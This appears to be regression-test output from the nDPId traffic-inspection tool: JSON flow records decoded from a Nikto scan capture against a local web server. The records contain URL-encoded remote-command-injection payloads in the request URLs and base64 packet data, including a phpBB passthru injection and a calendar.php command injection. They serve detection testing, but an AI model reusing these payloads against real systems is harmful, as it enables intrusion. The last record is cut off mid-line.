+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":709,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":709,"flow_packet_id":1,"flow_first_seen":1576420277838,"flow_last_seen":0,"flow_tot_l4_data_len":324,"flow_min_l4_data_len":324,"flow_max_l4_data_len":324,"flow_avg_l4_data_len":324,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50980,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00829{"flow_id":709,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":709,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":838595,"pkt_caplen":358,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":358,"pkt_l4_len":324,"pkt":"AAAAAAAAAAAAAAAACABFAAFY3j1AAEAGXWB\/AAABfwAAAcckH5DNwecJcN6f0YAYAED\/TAAAAQEICp1m\/3adZv92R0VUIC9wb3N0bnVrZS92aWV3dG9waWMucGhwP3Q9MiZydXNoPSU2YyU3MyUyMCUyZCU2MSU2YyZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzk5KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00913{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":709,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":709,"flow_packet_id":1,"flow_first_seen":1576420277838,"flow_last_seen":0,"flow_tot_l4_data_len":324,"flow_min_l4_data_len":324,"flow_max_l4_data_len":324,"flow_avg_l4_data_len":324,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50980,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/postnuke\/viewtopic.php?t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001399)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":710,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":710,"flow_packet_id":1,"flow_first_seen":1576420277840,"flow_last_seen":0,"flow_tot_l4_data_len":329,"flow_min_l4_data_len":329,"flow_max_l4_data_len":329,"flow_avg_l4_data_len":329,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50982,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00834{"flow_id":710,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":710,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":840187,"pkt_caplen":363,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":363,"pkt_l4_len":329,"pkt":"AAAAAAAAAAAAAAAACABFAAFdmNpAAEAGor5\/AAABfwAAAccmH5CDpKHt6Uk16IAYAED\/UQAAAQEICp1m\/3idZv93R0VUIC9wb3N0bnVrZS9odG1sL3ZpZXd0b3BpYy5waHA\/dD0yJnJ1c2g9JTZjJTczJTIwJTJkJTYxJTZjJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTkpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00919{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":710,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":710,"flow_packet_id":1,"flow_first_seen":1576420277840,"flow_last_seen":0,"flow_tot_l4_data_len":329,"flow_min_l4_data_len":329,"flow_max_l4_data_len":329,"flow_avg_l4_data_len":329,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50982,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/postnuke\/html\/viewtopic.php?t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001399)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":711,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":711,"flow_packet_id":1,"flow_first_seen":1576420277841,"flow_last_seen":0,"flow_tot_l4_data_len":323,"flow_min_l4_data_len":323,"flow_max_l4_data_len":323,"flow_avg_l4_data_len":323,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50984,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00826{"flow_id":711,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":711,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":841854,"pkt_caplen":357,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":357,"pkt_l4_len":323,"pkt":"AAAAAAAAAAAAAAAACABFAAFXf1lAAEAGvEV\/AAABfwAAAccoH5A3NUZkeJaOS4AYAED\/SwAAAQEICp1m\/3mdZv95R0VUIC9tb2R1bGVzL3ZpZXd0b3BpYy5waHA\/dD0yJnJ1c2g9JTZjJTczJTIwJTJkJTYxJTZjJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTkpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00912{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":711,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":711,"flow_packet_id":1,"flow_first_seen":1576420277841,"flow_last_seen":0,"flow_tot_l4_data_len":323,"flow_min_l4_data_len":323,"flow_max_l4_data_len":323,"flow_avg_l4_data_len":323,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50984,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/modules\/viewtopic.php?t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001399)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":712,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":712,"flow_packet_id":1,"flow_first_seen":1576420277843,"flow_last_seen":0,"flow_tot_l4_data_len":321,"flow_min_l4_data_len":321,"flow_max_l4_data_len":321,"flow_avg_l4_data_len":321,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50986,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00825{"flow_id":712,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":712,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":843157,"pkt_caplen":355,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":355,"pkt_l4_len":321,"pkt":"AAAAAAAAAAAAAAAACABFAAFV4EBAAEAGW2B\/AAABfwAAAccqH5AAS9kLhsuzOIAYAED\/SQAAAQEICp1m\/3udZv96R0VUIC9waHBCQi92aWV3dG9waWMucGhwP3Q9MiZydXNoPSU2YyU3MyUyMCUyZCU2MSU2YyZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTkpDQoNCg=="} +00910{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":712,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":712,"flow_packet_id":1,"flow_first_seen":1576420277843,"flow_last_seen":0,"flow_tot_l4_data_len":321,"flow_min_l4_data_len":321,"flow_max_l4_data_len":321,"flow_avg_l4_data_len":321,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50986,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/phpBB\/viewtopic.php?t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001399)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":713,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":713,"flow_packet_id":1,"flow_first_seen":1576420277844,"flow_last_seen":0,"flow_tot_l4_data_len":321,"flow_min_l4_data_len":321,"flow_max_l4_data_len":321,"flow_avg_l4_data_len":321,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50988,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00826{"flow_id":713,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":713,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":844434,"pkt_caplen":355,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":355,"pkt_l4_len":321,"pkt":"AAAAAAAAAAAAAAAACABFAAFVVuFAAEAG5L9\/AAABfwAAAccsH5DRJG\/rOSfatoAYAED\/SQAAAQEICp1m\/3ydZv98R0VUIC9mb3J1bS92aWV3dG9waWMucGhwP3Q9MiZydXNoPSU2YyU3MyUyMCUyZCU2MSU2YyZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzk5KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00910{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":713,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":713,"flow_packet_id":1,"flow_first_seen":1576420277844,"flow_last_seen":0,"flow_tot_l4_data_len":321,"flow_min_l4_data_len":321,"flow_max_l4_data_len":321,"flow_avg_l4_data_len":321,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50988,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/forum\/viewtopic.php?t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001399)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":714,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":714,"flow_packet_id":1,"flow_first_seen":1576420277845,"flow_last_seen":0,"flow_tot_l4_data_len":340,"flow_min_l4_data_len":340,"flow_max_l4_data_len":340,"flow_avg_l4_data_len":340,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50990,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00850{"flow_id":714,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":714,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":845762,"pkt_caplen":374,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":374,"pkt_l4_len":340,"pkt":"AAAAAAAAAAAAAAAACABFAAFouhJAAEAGgXt\/AAABfwAAAccuH5A6xYMmaghNdoAYAED\/XAAAAQEICp1m\/32dZv99R0VUIC9pbmRleC5waHA\/bmFtZT1QTnBocEJCMiZmaWxlPXZpZXd0b3BpYyZ0PTImcnVzaD0lNmMlNzMlMjAlMmQlNjElNmMmaGlnaGxpZ2h0PSUyNTI3LiU3MCU2MSU3MyU3MyU3NCU2OCU3MiU3NSUyOCUyNCU0OCU1NCU1NCU1MCU1ZiU0NyU0NSU1NCU1ZiU1NiU0MSU1MiU1MyU1YiU3MiU3NSU3MyU2OCU1ZCUyOS4lMjUyNyBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxNDAwKQ0KDQo="} +00928{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":714,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":714,"flow_packet_id":1,"flow_first_seen":1576420277845,"flow_last_seen":0,"flow_tot_l4_data_len":340,"flow_min_l4_data_len":340,"flow_max_l4_data_len":340,"flow_avg_l4_data_len":340,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50990,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/index.php?name=PNphpBB2&file=viewtopic&t=2&rush=%6c%73%20%2d%61%6c&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001400)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":715,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":715,"flow_packet_id":1,"flow_first_seen":1576420277847,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50992,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00633{"flow_id":715,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":715,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":847697,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFXW9AAEAG3sF\/AAABfwAAAccwH5A6PWRZjzFeOIAYAED+uQAAAQEICp1m\/3+dZv9\/R0VUIC9tc2FkYy9tc2FkY3MuZGxsIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDE0NzQpDQoNCg=="} +00766{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":715,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":715,"flow_packet_id":1,"flow_first_seen":1576420277847,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50992,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/msadc\/msadcs.dll","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001474)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":716,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":716,"flow_packet_id":1,"flow_first_seen":1576420277849,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50994,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":716,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":716,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":849121,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBYllAAEAG2dt\/AAABfwAAAccyH5AM9ltiiZJuH4AYAED+tQAAAQEICp1m\/4GdZv+AR0VUIC91cGxvYWRlci5waHAgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMzAxOCkNCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":716,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":716,"flow_packet_id":1,"flow_first_seen":1576420277849,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50994,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/uploader.php","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003018)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":717,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":717,"flow_packet_id":1,"flow_first_seen":1576420277850,"flow_last_seen":0,"flow_tot_l4_data_len":272,"flow_min_l4_data_len":272,"flow_max_l4_data_len":272,"flow_avg_l4_data_len":272,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50996,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00758{"flow_id":717,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":717,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":850533,"pkt_caplen":306,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":306,"pkt_l4_len":272,"pkt":"AAAAAAAAAAAAAAAACABFAAEkktVAAEAGqPx\/AAABfwAAAcc0H5D516vm6SxeZoAYAED\/GAAAAQEICp1m\/4KdZv+CR0VUIC9jYWxlbmRhci5waHA\/Y2FsYmlydGhkYXlzPTEmYWN0aW9uPWdldGRheSZkYXk9MjAwMS04LTE1JmNvbW1hPSUyMjtlY2hvJTIwJyc7JTIwZWNobyUyMCU2MGlkJTIwJTYwO2RpZSgpO2VjaG8lMjIgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMzAzOSkNCg0K"} +00860{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":717,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":717,"flow_packet_id":1,"flow_first_seen":1576420277850,"flow_last_seen":0,"flow_tot_l4_data_len":272,"flow_min_l4_data_len":272,"flow_max_l4_data_len":272,"flow_avg_l4_data_len":272,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50996,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/calendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003039)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":718,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":718,"flow_packet_id":1,"flow_first_seen":1576420277851,"flow_last_seen":0,"flow_tot_l4_data_len":278,"flow_min_l4_data_len":278,"flow_max_l4_data_len":278,"flow_avg_l4_data_len":278,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50998,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00767{"flow_id":718,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":718,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":851815,"pkt_caplen":312,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":312,"pkt_l4_len":278,"pkt":"AAAAAAAAAAAAAAAACABFAAEqh81AAEAGs\/5\/AAABfwAAAcc2H5Bgvr79vMi8roAYAED\/HgAAAQEICp1m\/4OdZv+DR0VUIC9mb3J1bS9jYWxlbmRhci5waHA\/Y2FsYmlydGhkYXlzPTEmYWN0aW9uPWdldGRheSZkYXk9MjAwMS04LTE1JmNvbW1hPSUyMjtlY2hvJTIwJyc7JTIwZWNobyUyMCU2MGlkJTIwJTYwO2RpZSgpO2VjaG8lMjIgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMzAzOSkNCg0K"} +00867{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":718,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":718,"flow_packet_id":1,"flow_first_seen":1576420277851,"flow_last_seen":0,"flow_tot_l4_data_len":278,"flow_min_l4_data_len":278,"flow_max_l4_data_len":278,"flow_avg_l4_data_len":278,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50998,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/forum\/calendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:003039)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":719,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":719,"flow_packet_id":1,"flow_first_seen":1576420277854,"flow_last_seen":0,"flow_tot_l4_data_len":279,"flow_min_l4_data_len":279,"flow_max_l4_data_len":279,"flow_avg_l4_data_len":279,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51000,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00769{"flow_id":719,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":719,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":854220,"pkt_caplen":313,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":313,"pkt_l4_len":279,"pkt":"AAAAAAAAAAAAAAAACABFAAErhnRAAEAGtVZ\/AAABfwAAAcc4H5AJP79Gqf4KlIAYAED\/HwAAAQEICp1m\/4adZv+GR0VUIC9mb3J1bXMvY2FsZW5kYXIucGhwP2NhbGJpcnRoZGF5cz0xJmFjdGlvbj1nZXRkYXkmZGF5PTIwMDEtOC0xNSZjb21tYT0lMjI7ZWNobyUyMCcnOyUyMGVjaG8lMjAlNjBpZCUyMCU2MDtkaWUoKTtlY2hvJTIyIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDMwMzkpDQoNCg=="} +00868{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":719,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":719,"flow_packet_id":1,"flow_first_seen":1576420277854,"flow_last_seen":0,"flow_tot_l4_data_len":279,"flow_min_l4_data_len":279,"flow_max_l4_data_len":279,"flow_avg_l4_data_len":279,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51000,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard 